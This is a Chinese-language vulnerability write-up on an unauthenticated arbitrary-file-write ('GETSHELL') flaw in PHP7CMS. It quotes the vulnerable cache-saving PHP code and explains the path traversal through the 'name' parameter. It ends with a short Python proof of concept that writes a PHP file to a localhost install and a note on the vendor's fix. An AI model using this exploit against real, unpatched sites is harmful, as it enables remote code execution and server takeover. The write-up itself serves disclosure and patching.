PHP7CMS 无条件前台GETSHELL

PHP7CMS 无条件前台GETSHELL

Version:2018-10-09
//最新版中以修复此漏洞
这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。  

01 02 03 04 05 06 07 08 09 10 11 12 // php7cms/Core/Controllers/Api/Api.php // 52~61 line public function save_form_data() {        $rt = \Phpcmf\Service::L( ‘cache‘ )->init( ‘file‘ )->save(          \Phpcmf\Service::L( ‘Input‘ )->get( ‘name‘ ),          \Phpcmf\Service::L( ‘Input‘ )->post( ‘data‘ ),          7200      );      var_dump( $rt );      exit ; }

调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。  

01 02 03 04 05 06 07 08 09 10 11 12 // php7cms/Fcms/Library/Cache.php   // 112~121 line   public function init( $handler = ‘‘ , $prefix = ‘site-‘ .SITE_ID. ‘-‘ ) {         $config = new \Config\Cache();         $config ->handler = ‘file‘ ;         $config ->prefix = $prefix ;         ! $config ->prefix && $config ->prefix = ‘site-‘ .SITE_ID. ‘-‘ ;         $config ->path = WRITEPATH. ‘caching/‘ ;         $cache = \Config\Services::cache( $config , 0);           return $cache ;     }

初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。
直接看最后一步  

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 // php7cms/System/Cache/Handlers // 107~125 line public function save(string $key , $value , int $ttl = 60) {    $key = $this ->prefix . $key ;      $contents = [      ‘time‘         => time(),      ‘ttl‘         => $ttl ,      ‘data‘         => $value ,    ];      if ( $this ->writeFile( $this ->path . $key , serialize( $contents )))    {      chmod ( $this ->path . $key , 0640);        return true;    }      return false; }

 

01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 //324~345 line        protected function writeFile( $path , $data , $mode = ‘wb‘ )    {      if (( $fp = @ fopen ( $path , $mode )) === false)      {        return false;      }        flock ( $fp , LOCK_EX);        for ( $result = $written = 0, $length = strlen ( $data ); $written < $length ; $written += $result )      {        if (( $result = fwrite( $fp , substr ( $data , $written ))) === false)        {          break ;        }      }        flock ( $fp , LOCK_UN);      fclose( $fp );        return is_int ( $result );    }

直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。
POC:

1 2 3 4 5 from requests import post postData = {    ‘data‘ : ‘<?php phpinfo()?>‘ } postTest = post( "http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php" ,data=postData)


新版修复:

 


首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。

相关文章